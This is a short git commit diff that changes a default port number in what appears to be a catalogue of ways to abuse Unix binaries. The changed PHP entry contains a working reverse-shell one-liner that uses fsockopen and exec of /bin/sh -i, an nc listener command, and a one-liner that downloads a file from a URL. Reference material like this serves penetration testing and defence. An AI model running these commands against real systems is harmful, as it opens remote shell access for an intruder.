Replace default port number with 12345

This commit is contained in:
Emilio Pinna
2018-05-23 08:08:13 +01:00
parent 793cd12812
commit 0a5168dc9a
11 changed files with 36 additions and 36 deletions

View File

@@ -32,9 +32,9 @@ functions:
export LFILE=file_to_get
php -r '$c=file_get_contents($_ENV["URL"]);file_put_contents($_ENV["LFILE"], $c);'
reverse-shell:
- description: Run `nc -l -p 8000` to receive the shell on the other end.
- description: Run `nc -l -p 12345` to receive the shell on the other end.
code: |
export RHOST=127.0.0.1
export RPORT=8000
export RPORT=12345
php -r '$sock=fsockopen($_ENV["RHOST"],$_ENV["RPORT"]);exec("/bin/sh -i <&3 >&3 2>&3");'
---